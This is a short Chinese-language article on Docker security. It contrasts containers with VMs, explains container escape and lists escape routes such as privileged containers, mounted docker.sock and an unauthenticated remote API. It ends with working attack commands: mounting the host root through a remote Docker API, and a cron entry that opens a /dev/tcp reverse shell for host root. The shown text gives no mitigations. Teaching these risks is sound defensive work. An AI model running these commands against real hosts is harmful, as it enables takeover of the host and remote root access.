Docker 安全性議題
容器跟 VM 差在哪、什麼是容器逃逸、還有那些避免容器逃逸的方法。
Container VS VM
容器(Container)和虛擬機(VM)都能達到資源隔離與分配的效果,但兩者的本質不同。容器是針對作業系統層級的虛擬化,讓應用程式和其所需的環境可以快速、輕量地被部署與移動;而虛擬機則是針對硬體層級的虛擬化,將一台實體伺服器切割成多台獨立的虛擬伺服器。
容器技術能讓我們在同樣硬體資源下,部署更多應用程式,提升運算效率與資源利用率,也更適合現代雲端與敏捷開發的需求。
容器逃逸
所謂「容器逃逸」,是指有心人士利用技術手段,讓本來應該被隔離的容器突破限制,進而存取主機系統或其他容器的資源。這種情況可能導致敏感資料外洩,甚至讓整個系統或服務癱瘓。容器逃逸一直是企業導入容器技術時最關鍵的安全議題之一。
常見的容器逃逸方法
- 系統漏洞攻擊: 攻擊者可能利用容器本身或作業系統核心的漏洞,突破原本的隔離機制,進而取得主機的控制權。
- 不安全的設定:
-
特權容器(Privileged Container): 當容器以
--privileged
參數啟動時,等同於給予容器主機的最高權限。這種情況下,攻擊者可以直接在容器內存取主機設備或檔案,輕易突破隔離。 -
不安全掛載(如 docker.sock): 如果將 Docker 的 socket 檔案(docker.sock)掛載到容器內,等於讓容器擁有操作主機 Docker 的能力。攻擊者可藉此在容器內啟動新的容器,甚至掛載主機根目錄,進一步存取主機所有檔案。
-
Docker 遠端 API 未授權存取: Docker 預設只允許本地端透過 socket 溝通,但如果開啟遠端 API 且沒有控管權限,攻擊者可遠端建立容器並掛載主機目錄,甚至植入惡意程式,取得主機最高權限。
例如:
bash docker -H tcp://$IP:$PORT run -it -v /:/mnt ubuntu /bin/bash
這樣就能讓容器直接存取主機所有檔案。進一步,攻擊者還能寫入排程任務,取得主機的 shell:
bash echo '* * * * * /bin/bash -i >& /dev/tcp/$IP/$PORT 0>&1' >> /mnt/var/spool/cron/crontabs/root
只要攻擊端監聽對應的 port,就能遠端取得主機 root 權限。